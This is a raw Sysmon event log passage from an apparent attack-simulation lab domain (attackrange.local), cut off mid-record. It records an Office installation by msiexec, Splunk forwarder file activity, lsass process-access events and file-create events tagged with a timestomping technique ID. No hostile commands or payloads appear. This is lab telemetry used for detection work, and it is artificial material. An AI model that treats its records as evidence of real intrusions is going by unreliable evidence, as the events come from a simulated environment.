AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b12e.msiMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.588{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\inprogressinstallinfo.ipiMD5=E3E6552C874EBB3C97AD722401C0A15C,SHA256=4B876A13D9F05B3DB727F0A05CF9D9EC6458E726BBD4E8A06F1DFAE23720A7FB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.588{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFEFD40406BCFEF84E.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.588{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFC56BDC5F5EB3163F.TMPMD5=E3E6552C874EBB3C97AD722401C0A15C,SHA256=4B876A13D9F05B3DB727F0A05CF9D9EC6458E726BBD4E8A06F1DFAE23720A7FB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.573{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFC7C479100E30FFCE.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.573{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF4010E6AB02A09029.TMPMD5=E3E6552C874EBB3C97AD722401C0A15C,SHA256=4B876A13D9F05B3DB727F0A05CF9D9EC6458E726BBD4E8A06F1DFAE23720A7FB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.573{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b12a.msiMD5=456C04A052576A62B1E8BDDB2748EDE9,SHA256=D4690F57E14E3E021C1F4784E517625DA5734AB8D0F46ECD7DDE09701564BABD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013773Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:48.504{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F1BC7F794BB3871782F1C3B8285380D3,SHA256=EBC058BFD8ADEA349A7525D5E2EF332CC2DE93A948424A7B1A139C1F78E8F698,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.494{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=CB912FBF78711A789691AE65F06ED22F,SHA256=FD00D944111E2396C13AE43228D8D6FFF33C2CDC4A1CB73F2A3B292B8123501E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.494{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=234E37D096584466A5BFF57ACC12B62F,SHA256=37CF642C30F9A2CF95CBA9EC4D32E313DCD43BD52157F12FA279F696DEA3FA76,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.494{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF6E516677A5A2F397.TMPMD5=BBC3A72267B743A62332A46A7242D8AF,SHA256=4D433C17451D3BBB33D8FE619BEED41FCB885276FF6EB48140DDB5E2704589B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.479{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF9F7B175A0252EC77.TMPMD5=A9A55E2278EAB01C25DDECD8E0A2207A,SHA256=55A9870F83DAF3A019A1900921E3E2299D2ED65934484F2B12D7683D1F6A6CD4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.479{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b12c.rbsMD5=4958B4F817119C9AC8177FEC0856C477,SHA256=DA18E8A1ADC6F2391AF95E7A2E0D412DE4C1C82C2635FE1207F9C7CE3B79CF77,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.463{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=671425483322D2DF36C381A6C0751C7E,SHA256=D0D8AD3F03D27741B70F09EABB8641C8B165274E7488ECBE8CCEC5D9343F139E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.448{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIE238.tmpMD5=FCCDC45CA17E5180B40EFC28052BAC39,SHA256=4AB37B0F9C5FE3505E1ECFE0764AAA04838CF81F9E0A402425E057F7A251E621,IMPHASH=620AD7AB8901854C91622E052544AEE7truetrue 23542300x800000000000000039462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.166{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3F0F92E0D1F2603BB5511779B17AB0FB,SHA256=0787674DCFECEA68091E6F4318FA1BA5EF959AC5CBACDA9793831004FAE1E5D3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.166{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F24-613B-2F08-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.166{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F24-613B-2F08-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.041{7BD73061-6F24-613B-3008-00000000F001}61245784C:\Windows\system32\conhost.exe{7BD73061-6F24-613B-2F08-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.041{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F24-613B-3008-00000000F001}6124C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.026{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F24-613B-2F08-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:48.026{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F24-613B-2F08-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.760{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2D08-00000000F001}476c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:47.760{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F23-613B-2D08-00000000F001}476c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.979{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.979{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.979{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+1a16d|C:\Windows\system32\lsasrv.dll+2704b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000039539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:49.932{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}\URLUpdateInfo(Empty) 13241300x800000000000000039538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:43:49.932{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}\PublisherMicrosoft Corporation 13241300x800000000000000039537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:49.932{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}\InstallSourcec:\program files\microsoft office\root\integration\ 23542300x800000000000000039536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.932{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DAD7C77C317EAADD4768F2207E75F203,SHA256=1FCC1E51CB238EB0055D305C2CA7619D67F430B24168D62493B559F80D0A5E70,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000039535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:49.669{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Windows\SysWOW64\vcruntime140.dll2021-09-10 14:43:49.669 11241100x800000000000000039534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:49.604{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Windows\SysWOW64\vccorlib140.dll2021-09-10 14:43:49.604 23542300x800000000000000013774Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:49.551{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F8BDEAA62A0DE96CE9601E3D8D2C0D36,SHA256=DC6BF2C7AE7B349808A23B66F933542EF03A8A3BB8A5B03ECBADF399B66A7B81,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000039533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:49.573{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\pkeyconfig.companion.dll2021-09-10 14:43:49.573 11241100x800000000000000039532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:49.479{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\pidgenx.dll2021-09-10 14:43:49.479 254200x800000000000000039531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10992021-09-10 14:43:49.479{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files\Microsoft Office\Office16\OSPPREARM.EXE2002-02-01 19:02:02.0002021-09-10 14:43:49.401 11241100x800000000000000039530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:43:49.401{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files\Microsoft Office\Office16\OSPPREARM.EXE2021-09-10 14:43:49.401 11241100x800000000000000039529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.401{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files\Microsoft Office\Office16\OSPP.VBS2021-09-10 14:43:49.401 11241100x800000000000000039528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:49.369{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Windows\SysWOW64\msvcp140_codecvt_ids.dll2021-09-10 14:43:49.369 11241100x800000000000000039527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:49.354{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Windows\SysWOW64\msvcp140_2.dll2021-09-10 14:43:49.354 11241100x800000000000000039526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:49.354{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Windows\SysWOW64\msvcp140_1.dll2021-09-10 14:43:49.354 11241100x800000000000000039525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:49.323{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Windows\SysWOW64\msvcp140.dll2021-09-10 14:43:49.323 254200x800000000000000039524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10992021-09-10 14:43:49.323{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files\Common Files\microsoft shared\OFFICE16\LICLUA.EXE2002-02-01 19:02:02.0002021-09-10 14:43:49.323 11241100x800000000000000039523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:43:49.323{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files\Common Files\microsoft shared\OFFICE16\LICLUA.EXE2021-09-10 14:43:49.323 11241100x800000000000000039522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:43:49.307{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Windows\SysWOW64\concrt140.dll2021-09-10 14:43:49.307 23542300x800000000000000039521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.260{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b134.rbsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.260{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFFBA6C53493D0DDDA.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000039519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.260{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF3CA5ACF9D85E2255.TMPMD5=902F2C7ACC3A566D92AA0A070BE3B8B0,SHA256=EE7D9B4451E2E89ED7F6863E3B8D4E22A03B025D749F050D5B3C8D0991DEF84D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.245{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIFDE2.tmpMD5=EE6243DF5EA48D929DA4790EFEEA45C9,SHA256=0503FCF7646DAAE6E5445D8C5F248384542D2EEAB4C7D8AD3CD5A47759759A48,IMPHASH=27304803DEB6EEDF56BA2A6E235C6126truetrue 23542300x800000000000000039517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:49.182{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIFD83.tmpMD5=EE6243DF5EA48D929DA4790EFEEA45C9,SHA256=0503FCF7646DAAE6E5445D8C5F248384542D2EEAB4C7D8AD3CD5A47759759A48,IMPHASH=27304803DEB6EEDF56BA2A6E235C6126truetrue 10341000x800000000000000039516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 